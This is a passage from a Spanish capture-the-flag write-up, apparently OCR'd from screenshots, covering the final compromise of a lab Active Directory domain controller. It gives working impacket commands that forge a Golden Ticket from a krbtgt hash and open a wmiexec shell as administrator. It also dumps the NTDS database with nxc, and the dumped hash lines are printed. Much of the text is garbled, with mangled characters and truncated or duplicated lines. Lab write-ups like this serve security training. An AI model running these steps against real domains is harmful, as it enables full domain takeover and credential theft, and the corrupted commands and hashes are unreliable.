PAC_LOGON_INFO
PAC_CLIENT_INFO_TYPE

EncTicketPart
EncAsRepPart
[*] signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
PAC_PRIVSVR_CHECKSUM
EncTicketPart
EncASRepPart
[*] saving ticket in administrator.ccache
> DCo4 soupedecode. local/administrator@dc01.soupedecode.local -k -target-ip 192.168.1.144
Impacket v0@.13.0.dev@ - Copyright Fortra, LLC and its affiliated companies

Password:
[-] Kerberos SessionError:|KRB_AP_ERR_SKEW(Clock skew too great)

Como podemos ver cuando nos intentamos conectar por wmiexec, nos
salta el error:

[-] Kerberos SessionError: KRB_AP_ERR_SKEW/(Clock skew too great).

Lo que quiere decir, que, a pesar de haber sincronizado el servidor NTP
con rdate, no ha sincronizado correctamente con el NTP server del DC. Si
listamos la fecha que tiene el DC y la comparamos con la fecha de
nuestra mdaquina, nos damos cuenta de que el DC estd 1 dia adelantado
(por lo menos en mi caso), por lo que debemos realizar lo siguiente;

sudo systemctl stop systemd-timesyncd
sudo date -s "2025-05-22 01:34:26"

-+ DCo4

Wed May 21 04:24:19 PM CEST 2025

-+ DCo4 -q 192.168.1.144

2025-05-22 01:24:29.665964 (+0200) +32398.957765 +/- 0.000504 192.168.1.144 sl no-leap
-+ DCo4 stop systemd-timesyncd

-+ DCo4 -s ' 0 5"

Thu May 22 01:34:26 AM CEST 20

> DCO4

Thu May 22 01:34:32 AM CEST 2025
> DCO4 |

Una vez hemos readlizado este paso, podemos volver a generar el
GoldenTicket.

sudo rdate -n 192.168.1.144

impacket-ticketer -nthash ©f55cdc40bd8f5814587f7e6b2f85e6f -
domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain
soupedecode.local administrator

export KRB5CCNAME=administrator.ccache
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impacket-wmiexec
soupedecode.local/administrator@dcOl. soupedecode.local -k -
target-ip 192.168.1.144

-+ DCo4 -n 192.168.1.144
-nthash 0f55cdc40bd8f5814587f7e6b2f85e6f -domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain soupedecode.local administrator
e t KRB5CCNAME=administrator.ccache
[sudo] password for factum:
Thu May 22 01:14:58 CEST 20
Impacket v@.13.0.dev@ - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos

[*] Customizing ticket for soupedecode.local/administrator
PAC_LOGON_INFO
PAC_CLIENT_INFO_TYPE
EncTicketPart
EncAsRepPart

Signing/Encrypting final ticket
] PA

_SERVER_CHECKSUM
PAC_PRIVSVR_CHECKSUM
EncTicketPart
EncASRepPart
[*] Saving ticket in administrator.ccache
-+ DCo4 soupedecode. local/administrator@dc01. soupedecode.local -k -target-ip 192.168.1.144
Impacket v@.13.0.dev® - Copyright Fortra, LLC and its affiliated companies

Password:

[*] SMBv3.0 dialect used

[!'] Laun g semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\>whoami

soupedecode. local\administrator

C:\>type C:\Users\Administrator\Desktop\root.txt
1 17a

También podemos dumpear el NTDS para obtener el hash NTLMv1 del
usuario Administrator.

nxc smb 192.168.1.144 -u administrator --use-kcache -ntds

.168.1.144 -u administrator --use-kcache --ntds

2
1.144 445 DCO1 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvi:False)
1.144 445  DCO1L [+] SOUPEDECODE.LOCAL\administrator from ccache (Pwn3d!)
1.144 445 DCOL [+] Dumping the NTDS, this could take a while so go grab a redbull..
1.144 445 DCO1 Administrator:500:aad3b435b51404eeaad3b435b51404ee:536a1787e6c4261388493937fcd0T444: ::
1.144 445 DCO1 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c!
1.144 445 bco1 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0f55cdc40bd8f5814587f7e6b2f85¢e
.1.144 445 DCO1 soupedecode. local\bmark0:1103:aad3b435h51404eeaad3b435b51404ee :€922707ccbed8114a66ab020f376848¢
.1.144 445 DCOL soupedecode. local\otaral:1104:aad3b435b51404eeaad3b435b51404ee :€922707ccbed8114a66ab0201376848¢
1.144 445 DCO1 soupedecode.local\kleo2:1105:aad3b435b51404eeaad3b435b51404ee :€922707 cc6ed8114a66ab0207376848
1.144 445 DCO1 soupedecode . local\eyara3:1106 : aad3b435b51404eeaad3b435b51404ee :€922707cc6ed8114a66ab020f376848¢
1.144 445 bco1 soupedecode.local\pquinn
1.144 445 DCO1 soupedecode. local\jharpe
1.144 445 DCO1 soupedecode.local\bxenia aad3b435b51404eeaad3b435b51404ee :e922707ccbed8114a66ab020f376848!
1.144 445 DCO1 soupedecode . local\gmona7:1110: aad3b435b51404eeaad3b435b51404ee : €922707ccbed8114a66ab020f376848¢

Ya hemos completado este CTF en el que hemos visto un virtual hosting,
ataque de fuerza bruta a un panel web de login, captura de hashes
NTLMV2, crackeado hashes, forzar cambios de contrasenas para cuentas
con credenciales expiradas, romper ficheros .rar con password y una
escalada de privilegios mediante un GoldenTicket y la técnica Pass the
Hash.
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